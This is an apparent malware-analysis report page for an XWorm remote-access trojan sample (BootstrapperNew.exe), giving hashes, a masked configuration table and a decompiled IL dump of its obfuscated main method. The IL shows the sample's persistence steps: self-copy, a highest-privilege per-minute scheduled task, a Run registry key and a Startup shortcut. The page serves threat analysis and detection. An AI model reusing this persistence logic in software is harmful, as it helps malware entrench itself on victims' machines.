Deep Malware Analysis of bb29d533b3df635d068c0974d7cab953 | md5: bb29d533b3df635d068c0974d7cab953 | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.96 | RAT | XWorm

PE Executable

MD5: bb29d533b3df635d068c0974d7cab953

Size: 80.9 KB

application/x-dosexec

Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Very high

MD5	bb29d533b3df635d068c0974d7cab953
Sha1	6bee72ac271b2e2aed9f6b959811d105196334bf
Sha256	8951b23581270089ac2c53e4e743a1e58d613cd25a7cef248c570728e342ff08
Sha384	d497791ca467c28fa57f5553182a287c842313673619ee39de5d59fa8bfc4f25744bfc0e3c9f81a7a1378d9196dc33c8
Sha512	41d71974f54d77c006cd23e2a2e6ce441f4c20522dd3cfb2b3ca33e8f5e35f6e68e6b269c511dc26bfeab2ab45704b70b85dab33472e1f36848ca11439c2f56c
SSDeep	1536:pOsykH1c+Qj8L9gckeZHb/JtqlEhQcE6nj23O/fEH:pOsyAQjUnb/Jzq3O/fO
TLSH	01836B287BE54529E4FFAFB049E07267C776F6135903C55F24C8029B1A23A89CE817F6

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Config. Field	Value
Mutex	bG9Xdhuhuhuhuhuhuhu
Hosts	mary-bhuhuhuhuhuhuhuhuhuhuhu
Port	4huhuhuhu
KEY	<6huhuhuhu
USBNM	<XWhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	BootstrapperNew.exe
Full Name	BootstrapperNew.exe
EntryPoint	`System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::uHCVIiysE7wPygRfLCS8O2Czv81D12kZPBxn7sNsJYUwYZYA2prv1GRrSc2Th7jIl8ijVnQkLlH1H4QaRZ5K84WlgBn47()`
Scope Name	BootstrapperNew.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	BootstrapperNew
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	356
Main Method	`System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::uHCVIiysE7wPygRfLCS8O2Czv81D12kZPBxn7sNsJYUwYZYA2prv1GRrSc2Th7jIl8ijVnQkLlH1H4QaRZ5K84WlgBn47()`
Main IL Instruction Count	318
Main IL	ldsfld System.Int32 Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::5ueFTa3fqXhpL9WlXqQZ2hlDHwF8YYZyZdxDqj0XwZJ0GUk1XD8DyhSIZTHotlaUzYUKOW0ii0Pzq2oxmmLsyRVS1ioTC ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::AAtLUytKhawIXw7WBDqeswY9HjObGpRmtFWnnj2Nu6uLVFEp8pX79DmzFqNuoeViBUHqywfCZwGTtBH6mfYC0nBmuaT84 call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::AAtLUytKhawIXw7WBDqeswY9HjObGpRmtFWnnj2Nu6uLVFEp8pX79DmzFqNuoeViBUHqywfCZwGTtBH6mfYC0nBmuaT84 ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::h4szbCA2DwtxHt15oSW8ZGSTvLxqcVRTzqI5NKSlyey1nLFlimq0gwIjBGDK5egjj3YWms453265l5fBIRqyTnFzY3Xt4 call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::h4szbCA2DwtxHt15oSW8ZGSTvLxqcVRTzqI5NKSlyey1nLFlimq0gwIjBGDK5egjj3YWms453265l5fBIRqyTnFzY3Xt4 ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::CzFvPC7U2cSbjh8Tvuq1vY9BCmrRm2RRon2svUfr09NUqSBCKE0yEsSdq8pqm0rEYXB6hZlfaZKuLrVgloa7m5chBs4dM call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::CzFvPC7U2cSbjh8Tvuq1vY9BCmrRm2RRon2svUfr09NUqSBCKE0yEsSdq8pqm0rEYXB6hZlfaZKuLrVgloa7m5chBs4dM ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::gNZ9QXLy1xtPhySU3wtwdcTEamgThShmjkpXnKmpoR78qMDPyrzXIwdDAV0Sa7Haj9wNFb02C74X6Y0tgg4Jgv7zU5CNe call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::gNZ9QXLy1xtPhySU3wtwdcTEamgThShmjkpXnKmpoR78qMDPyrzXIwdDAV0Sa7Haj9wNFb02C74X6Y0tgg4Jgv7zU5CNe ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::W6QUscCetMvi37Fk0lfBGJWDt9MyPp1Gj2AoDRDSJVnIVqRO3KIKwy5pOKdfGxC1ZqVSFL62efgrMBNR7QfBtueWLraAw call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::W6QUscCetMvi37Fk0lfBGJWDt9MyPp1Gj2AoDRDSJVnIVqRO3KIKwy5pOKdfGxC1ZqVSFL62efgrMBNR7QfBtueWLraAw ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::Deq3UUPeach3YlQ41n05MVaJCYyZMRoFZKcVDmmTomDCxC7BmhWB73FdOKEwRZeUsFr1VdzNrdUf2JZkuZBWt1dg9BSGV call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::Deq3UUPeach3YlQ41n05MVaJCYyZMRoFZKcVDmmTomDCxC7BmhWB73FdOKEwRZeUsFr1VdzNrdUf2JZkuZBWt1dg9BSGV ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::1VxjrmNBhdhyoHv7raHTQhwQbCCmLdUSA6U1ewXfR8K0bHVGrDUKEF57q4s7IVS9XnxnrOqXdC3ViYU0nHsMrRBSZPFLe call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::1VxjrmNBhdhyoHv7raHTQhwQbCCmLdUSA6U1ewXfR8K0bHVGrDUKEF57q4s7IVS9XnxnrOqXdC3ViYU0nHsMrRBSZPFLe ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC leave.s IL_00CB: call System.Boolean Stub.LFo15gng8XSaPBsNRTbFP::uZJvwzecuJq8tRayLcjuJ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.LFo15gng8XSaPBsNRTbFP::uZJvwzecuJq8tRayLcjuJ() call System.Boolean Stub.LFo15gng8XSaPBsNRTbFP::uZJvwzecuJq8tRayLcjuJ() brtrue.s IL_00D8: call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::qdRggWPwwsEYAJi2hO3SO9ilJEyyD7RaT3sUZrzPReNSzbT54BH8QlMYXIEv5HAUNixDMGo3ZXs6oZeNRf1Bu9Z87cUqS() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::qdRggWPwwsEYAJi2hO3SO9ilJEyyD7RaT3sUZrzPReNSzbT54BH8QlMYXIEv5HAUNixDMGo3ZXs6oZeNRf1Bu9Z87cUqS() leave.s IL_00EE: call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::kBlL6iI4mQIxUh764IY1EJuRgKW0IaAWodEzdSys7ZIgqUx5cUxpANoeOiCnzN0ReJlCqaj8KkNr4rU30EnaGGeTRWezi() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::kBlL6iI4mQIxUh764IY1EJuRgKW0IaAWodEzdSys7ZIgqUx5cUxpANoeOiCnzN0ReJlCqaj8KkNr4rU30EnaGGeTRWezi() call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::kBlL6iI4mQIxUh764IY1EJuRgKW0IaAWodEzdSys7ZIgqUx5cUxpANoeOiCnzN0ReJlCqaj8KkNr4rU30EnaGGeTRWezi() ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::1VxjrmNBhdhyoHv7raHTQhwQbCCmLdUSA6U1ewXfR8K0bHVGrDUKEF57q4s7IVS9XnxnrOqXdC3ViYU0nHsMrRBSZPFLe ldstr \ ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.LFo15gng8XSaPBsNRTbFP::gkTHCMVmN8Sg8AJu0wOiJ call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.Og36Hsj8stn8XMVGt5iS5i7FRKghTuLZ8vaPlSdiPv7OZcs84cHfmcg3TahY1Uo7ZoYM6o8XC8CtgH::ApPJ0kH796M0yZb2b93TMyM399cvP7gODTqNwaqgRUBXfEmuuslBKE4gzEveZUnlY0pJzXvZVErORf() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.bibVN9NPLIiekmmXWSKK4ryFXjm2QouBNtYCxUrxXZYJAe6GWmUZw4qbuVssQQPljxoAi78TKEmS4ARsjRaNytLkblkin My.4fjJiSMFLumBVmr0Mw4wGKsfFlYWZPRZYAyr8DMDKfmxq6m3SZC2WFazgT6iHTevBiUNFFPrZFaFwQ3jBj4Ag3HrHMATz::eIb2bfzIkzAo5XPdWuhYVby0S8cZenxsKaguyt6pZ4c9pgwHrYLlR83jeSyrg1pwKIsJunQGr6Vf5FsrALEVIDXP4jSX0() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.bibVN9NPLIiekmmXWSKK4ryFXjm2QouBNtYCxUrxXZYJAe6GWmUZw4qbuVssQQPljxoAi78TKEmS4ARsjRaNytLkblkin My.4fjJiSMFLumBVmr0Mw4wGKsfFlYWZPRZYAyr8DMDKfmxq6m3SZC2WFazgT6iHTevBiUNFFPrZFaFwQ3jBj4Ag3HrHMATz::eIb2bfzIkzAo5XPdWuhYVby0S8cZenxsKaguyt6pZ4c9pgwHrYLlR83jeSyrg1pwKIsJunQGr6Vf5FsrALEVIDXP4jSX0() call My.bibVN9NPLIiekmmXWSKK4ryFXjm2QouBNtYCxUrxXZYJAe6GWmUZw4qbuVssQQPljxoAi78TKEmS4ARsjRaNytLkblkin My.4fjJiSMFLumBVmr0Mw4wGKsfFlYWZPRZYAyr8DMDKfmxq6m3SZC2WFazgT6iHTevBiUNFFPrZFaFwQ3jBj4Ag3HrHMATz::eIb2bfzIkzAo5XPdWuhYVby0S8cZenxsKaguyt6pZ4c9pgwHrYLlR83jeSyrg1pwKIsJunQGr6Vf5FsrALEVIDXP4jSX0() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.LFo15gng8XSaPBsNRTbFP::TOAebu0qfYnV0On5wXRHU leave.s IL_0381: call System.Void Stub.LFo15gng8XSaPBsNRTbFP::okWP52bcZcq5bPLuOM2Sb() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.LFo15gng8XSaPBsNRTbFP::okWP52bcZcq5bPLuOM2Sb() call System.Void Stub.LFo15gng8XSaPBsNRTbFP::okWP52bcZcq5bPLuOM2Sb() ldnull <null> ldftn System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::FSfZ4CDbHv0p5Rr8Mf0fBiXiVYsjbPC2RYkV8dDjoPVCITWr9pnHtUkkxaoVozejRxKQxzCilVaUhb() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.Og36Hsj8stn8XMVGt5iS5i7FRKghTuLZ8vaPlSdiPv7OZcs84cHfmcg3TahY1Uo7ZoYM6o8XC8CtgH::ApPJ0kH796M0yZb2b93TMyM399cvP7gODTqNwaqgRUBXfEmuuslBKE4gzEveZUnlY0pJzXvZVErORf() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03AD: ldnull call System.Void Stub.r1uDUHDJENdR4pfeHC65W::ayFI9yyoP1WbwzVuDZ7qp() ldnull <null> ldftn System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::O9Klaw1AA1yQ4M3iKN9ihzVldIr3HC1dVYhOuTsrDg8iMkDYTpdFRS4ZTijv0MlNBJJbYP2eSzjIAw() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::kTv1xFOtECiwl6565fMdIEzTIAtEAl53rcp2uoNjJeXw4E1IMyClaGeUYF8BLsEzxWKDTOTI7sqtyk() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	BootstrapperNew.exe
Full Name	BootstrapperNew.exe
EntryPoint	`System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::uHCVIiysE7wPygRfLCS8O2Czv81D12kZPBxn7sNsJYUwYZYA2prv1GRrSc2Th7jIl8ijVnQkLlH1H4QaRZ5K84WlgBn47()`
Scope Name	BootstrapperNew.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	BootstrapperNew
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	356
Main Method	`System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::uHCVIiysE7wPygRfLCS8O2Czv81D12kZPBxn7sNsJYUwYZYA2prv1GRrSc2Th7jIl8ijVnQkLlH1H4QaRZ5K84WlgBn47()`
Main IL Instruction Count	318
